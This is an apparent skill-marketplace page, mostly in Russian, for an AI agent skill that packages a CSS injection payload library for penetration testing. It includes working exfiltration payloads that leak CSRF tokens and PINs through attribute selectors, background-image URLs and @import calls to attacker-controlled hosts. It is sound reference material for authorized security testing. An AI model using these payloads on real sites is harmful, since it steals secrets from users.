Command Palette

Search for a command to run...

UnylyUnyly
Назад к скиллам

payloads-css-injection

БесплатноБез исполняемых скриптовНе проверен

CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate…

smartworldarafathот smartworldarafath★ 68 звёзд на GitHub

Об этом скилле

CSS Injection Payloads

Source: PayloadsAllTheThings/CSS Injection Category: payloads-web | Skill ID: payloads-css-injection

Overview

CSS injection payloads for data exfiltration, UI redress, and attribute value theft.

This skill integrates the full PayloadsAllTheThings (PATT) payload library for the CSS Injection Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.

Workflow

1. Recon & Identification

  • Identify the target technology stack and injection points
  • Enumerate endpoints, parameters, and input vectors
  • Determine applicable payload categories from the reference below

2. Payload Selection

  • Browse the PATT payload library for the attack class
  • Select encoding-appropriate payloads for the target environment
  • Consider WAF bypass variants and obfuscation techniques

3. Exploitation (Authorized Only)

  • Test payloads in order: passive → active → escalation
  • Document every payload tested and its response
  • Capture PoC evidence (screenshots, HTTP logs, curl output)

4. Verification & Reporting

  • Confirm the vulnerability with a clean minimal PoC
  • Map findings to CVE/CWE where applicable
  • Report with remediation recommendations and code fixes

Full PATT Reference

CSS Injection

CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate sensitive data, such as CSRF tokens or other secrets, by manipulating the page layout or triggering network requests based on element attributes.

Summary

Tools

Methodology

CSS Selectors

CSS selectors can be used to exfiltrate data. This technique is particularly useful because CSS is often allowed in CSP rules, whereas JavaScript is frequently blocked.

The attack works by brute-forcing a token character by character. Once the first character is identified, the payload is updated to guess the second character, and so on. This often requires an iframe to reload the page with the new payload.

  • input[value^=a] (prefix attribute selector): Selects elements where the value starts with "a".
  • input[value$=a] (suffix attribute selector): Selects elements where the value ends with "a".
  • input[value*=a] (substring attribute selector): Selects elements where the value contains "a".

Exfiltration via Background Image

When a selector matches, the browser attempts to load the background image from a URL controlled by the attacker, thereby leaking the character.

input[value^="TOKEN_012"] {
  background-image: url(http://attacker.example.com/?prefix=TOKEN_012);
}
input[name="pin"][value="1234"] {
  background: url(https://[ATTACKER.DOMAIN.TLD]/log?pin=1234);
}

Tips:

  • Hidden Inputs: You cannot apply a background image directly to a hidden input field. Instead, use a sibling selector (+ or ~) to style a visible element that appears after the hidden input.
input[name="csrf-token"][value^="a"] + input {
  background: url(https://[ATTACKER.DOMAIN.TLD]/?q=a)
}
  • Has Selector: The :has() pseudo-class allows styling a parent element based on its children.
div:has(input[value="1337"]) {
  background:url(/collectData?value=1337);
}
  • Concurrency: Use both prefix and suffix selectors to speed up the guessing process. You can assign the prefix check to one property (e.g., background) and the suffix check to another (e.g., list-style-image or border-image).

CSS Import at-rule

This technique is known as Blind CSS Exfiltration. It relies on importing external stylesheets to trigger callbacks.

<style>@import url(http://[ATTACKER.DOMAIN.TLD]/staging?len=32);</style>
<style>@import'//[ATTACKER.DOMAIN.TLD]'</style>
Полный SKILL.md на GitHub

Установить payloads-css-injection в Claude Code и Claude Desktop

Зарегайся, чтобы установить скилл

Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.

  • Открой команду установки в одну строку
  • Сохраняй скиллы в синхронизируемую библиотеку
  • Уведомления, когда скиллы обновляются
Зарегаться бесплатноУ меня уже есть аккаунт

Разрешённые инструменты

Инструменты, которые скиллу разрешено вызывать.

Без ограничений — скилл может использовать любой инструмент.

Вложенные файлы

agents/openai.yaml

FAQ

Что делает скилл payloads-css-injection?

CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate sensitive data, such as CSRF tokens or other secrets, by manipulating the page layout or triggering network requests based on element attributes. A tool to exfiltrate unknown web pages using Blind CSS. Collection of CSS based exfiltration...

Как установить скилл payloads-css-injection?

Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.

Скилл payloads-css-injection запускает скрипты?

Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.

Похожие скиллы

Сравнить payloads-css-injection с